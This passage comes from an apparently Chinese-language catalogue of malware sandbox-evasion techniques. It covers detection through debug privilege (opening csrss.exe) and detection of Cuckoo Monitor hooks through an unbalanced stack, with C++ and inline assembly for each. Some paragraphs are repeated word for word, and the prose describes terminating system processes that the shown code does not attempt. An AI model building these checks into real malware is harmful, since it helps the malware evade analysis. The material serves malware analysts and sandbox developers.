CloseHandle(pi.hThread);
return 0;
}
10.检查调试权限
如果恶意软件在调试器下或在 Cuckoo 等沙箱中运行,则其进程令牌将在启用状态下具有调试权限。因为此权限会在父进程中启用并由恶意软件进程继承。
该代码尝试使用PROCESS_ALL_ACCESS访问权限打开csrss.exe、smss.exe、lsass.exe等关键系统进程,然后尝试终止它们。
在正常情况下,从资源管理器或命令行执行恶意软件时会失败,因为即使是管理员用户也无法终止这些进程。但如果进程令牌在启用状态下具有调试权限,则此操作将会成功。
该代码尝试使用PROCESS_ALL_ACCESS访问权限打开csrss.exe、smss.exe、lsass.exe等关键系统进程,然后尝试终止它们。
在正常情况下,从资源管理器或命令行执行恶意软件时会失败,因为即使是管理员用户也无法终止这些进程。但如果进程令牌在启用状态下具有调试权限,则此操作将会成功。
DWORD GetCsrssProcessId()
{
if (API::IsAvailable(API_IDENTIFIER::API_CsrGetProcessId))
{
auto CsrGetProcessId = static_cast<pCsrGetId>(API::GetAPI(API_IDENTIFIER::API_CsrGetProcessId));
return CsrGetProcessId();
}
else
return GetProcessIdFromName(_T("csrss.exe"));
}
BOOL CanOpenCsrss()
{
HANDLE hCsrss = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCsrssProcessId());
if (hCsrss != NULL)
{
CloseHandle(hCsrss);
return TRUE;
}
else
return FALSE;
}
11.使用不平衡堆栈
为了跟踪进程行为,CuckooMon/Cuckoo Monitor 模块挂钩相关函数。在这种类型的架构中,钩子在原始函数之前调用。除了原始函数使用的空间之外,挂钩函数还可能使用堆栈上的一些空间。
因此,被钩子函数使用的堆栈上的总空间可能大于仅原始函数使用的空间。
恶意软件具有有关被调用函数在堆栈上使用了多少空间的信息。因此,可以将堆栈指针移向较低地址,偏移量足以存储函数参数、局部变量和返回地址,以便保留空间。然后可以用一些相关数据填充堆栈指针下方的空间,将堆栈指针移动到原始位置并调用库函数。如果该函数没有被钩住,恶意软件就会填充相关数据之前的保留空间。如果函数被钩住,恶意软件就会重叠相关数据,因为为原始函数的局部变量保留的空间小于钩子和原始函数的局部变量所占用的空间之和。最后相关数据被损坏。
因此,被钩子函数使用的堆栈上的总空间可能大于仅原始函数使用的空间。
恶意软件具有有关被调用函数在堆栈上使用了多少空间的信息。因此,可以将堆栈指针移向较低地址,偏移量足以存储函数参数、局部变量和返回地址,以便保留空间。然后可以用一些相关数据填充堆栈指针下方的空间,将堆栈指针移动到原始位置并调用库函数。如果该函数没有被钩住,恶意软件就会填充相关数据之前的保留空间。如果函数被钩住,恶意软件就会重叠相关数据,因为为原始函数的局部变量保留的空间小于钩子和原始函数的局部变量所占用的空间之和。最后相关数据被损坏。
bool Cuckoo::CheckUnbalancedStack() const {
usf_t f = {
{ lib_name_t(L"ntdll"), {
{sizeof(void *), NULL, "ZwDelayExecution", ARG_ITEM(kZwDelayExecutionArgs) }
} }
};
const uint8_t canary[8] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF };
uint32_t args_size;
const void *args_buff;
uint32_t reserved_size;
uint32_t reserved_size_after_call;
uint32_t canary_size;
FARPROC func;
bool us_detected;
void *canary_addr = (void *)&canary[0];
static_assert((sizeof(canary) % sizeof(void *)) == 0, "Invalid canary alignement");
for (auto it = f.begin(), end = f.end(); it != end; ++it) {
for (auto &vi : it->second) {
vi.func_addr = GetProcAddress(GetModuleHandleW(it->first.c_str()), vi.func_name.c_str());
// call to Unbalanced Stack
args_size = vi.args_size;
args_buff = vi.args_buff;
canary_size = sizeof(canary);
reserved_size = sizeof(void *) + vi.local_vars_size + canary_size;
reserved_size_after_call = reserved_size + args_size;
func = vi.func_addr;
us_detected = false;
__asm {
pusha
mov ecx, args_size
sub esp, ecx
mov esi, args_buff
mov edi, esp
cld
rep movsb
sub esp, reserved_size
mov ecx, canary_size
mov esi, canary_addr
mov edi, esp
rep movsb
add esp, reserved_size
mov eax, func
call eax
sub esp, reserved_size_after_call
mov ecx, canary_size
mov esi, canary_addr
mov edi, esp
repz cmpsb
cmp ecx, 0
setnz us_detected
add esp, reserved_size_after_call
popa
}
if (us_detected)
return true;
}
}
return false;
}